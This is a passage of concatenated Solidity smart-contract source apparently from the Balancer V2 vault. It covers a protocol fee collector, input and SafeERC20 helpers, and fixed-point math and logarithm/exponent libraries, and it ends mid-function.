// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/openzeppelin/IERC20.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/helpers/Authentication.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IAuthorizer.sol";
/**
* @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the
* Vault performs to reduce its overall bytecode size.
*
* The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are
* sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated
* to the Vault's own authorizer.
*/
contract ProtocolFeesCollector is Authentication, ReentrancyGuard {
using SafeERC20 for IERC20;
// Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%).
uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50%
uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1%
IVault public immutable vault;
// All fee percentages are 18-decimal fixed point numbers.
// The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not
// actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due
// when users join and exit them.
uint256 private _swapFeePercentage;
// The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent.
uint256 private _flashLoanFeePercentage;
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
constructor(IVault _vault)
// The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action
// identifiers.
Authentication(bytes32(uint256(address(this))))
{
vault = _vault;
}
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external nonReentrant authenticate {
InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amount = amounts[i];
token.safeTransfer(recipient, amount);
}
}
function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate {
_require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH);
_swapFeePercentage = newSwapFeePercentage;
emit SwapFeePercentageChanged(newSwapFeePercentage);
}
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate {
_require(
newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE,
Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH
);
_flashLoanFeePercentage = newFlashLoanFeePercentage;
emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage);
}
function getSwapFeePercentage() external view returns (uint256) {
return _swapFeePercentage;
}
function getFlashLoanFeePercentage() external view returns (uint256) {
return _flashLoanFeePercentage;
}
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) {
feeAmounts = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
feeAmounts[i] = tokens[i].balanceOf(address(this));
}
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
return _getAuthorizer().canPerform(actionId, account, address(this));
}
function _getAuthorizer() internal view returns (IAuthorizer) {
return vault.getAuthorizer();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
import "../../vault/interfaces/IAsset.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IAsset[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
*
* WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert.
*/
function _callOptionalReturn(address token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
(bool success, bytes memory returndata) = token.call(data);
// If the low-level call didn't succeed we return whatever was returned from it.
assembly {
if eq(success, 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs
_require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/FixedPoint.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./ProtocolFeesCollector.sol";
import "./VaultAuthorization.sol";
import "./interfaces/IVault.sol";
/**
* @dev To reduce the bytecode size of the Vault, most of the protocol fee logic is not here, but in the
* ProtocolFeesCollector contract.
*/
abstract contract Fees is IVault {
using SafeERC20 for IERC20;
ProtocolFeesCollector private immutable _protocolFeesCollector;
constructor() {
_protocolFeesCollector = new ProtocolFeesCollector(IVault(this));
}
function getProtocolFeesCollector() public view override returns (ProtocolFeesCollector) {
return _protocolFeesCollector;
}
/**
* @dev Returns the protocol swap fee percentage.
*/
function _getProtocolSwapFeePercentage() internal view returns (uint256) {
return getProtocolFeesCollector().getSwapFeePercentage();
}
/**
* @dev Returns the protocol fee amount to charge for a flash loan of `amount`.
*/
function _calculateFlashLoanFeeAmount(uint256 amount) internal view returns (uint256) {
// Fixed point multiplication introduces error: we round up, which means in certain scenarios the charged
// percentage can be slightly higher than intended.
uint256 percentage = getProtocolFeesCollector().getFlashLoanFeePercentage();
return FixedPoint.mulUp(amount, percentage);
}
function _payFeeAmount(IERC20 token, uint256 amount) internal {
if (amount > 0) {
token.safeTransfer(address(getProtocolFeesCollector()), amount);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General internal License for more details.
// You should have received a copy of the GNU General internal License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = ln_36(base);
} else {
logBase = ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = ln_36(arg);
} else {
logArg = ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
return (logArg * ONE_18) / logBase;
}
/**
* @dev High precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
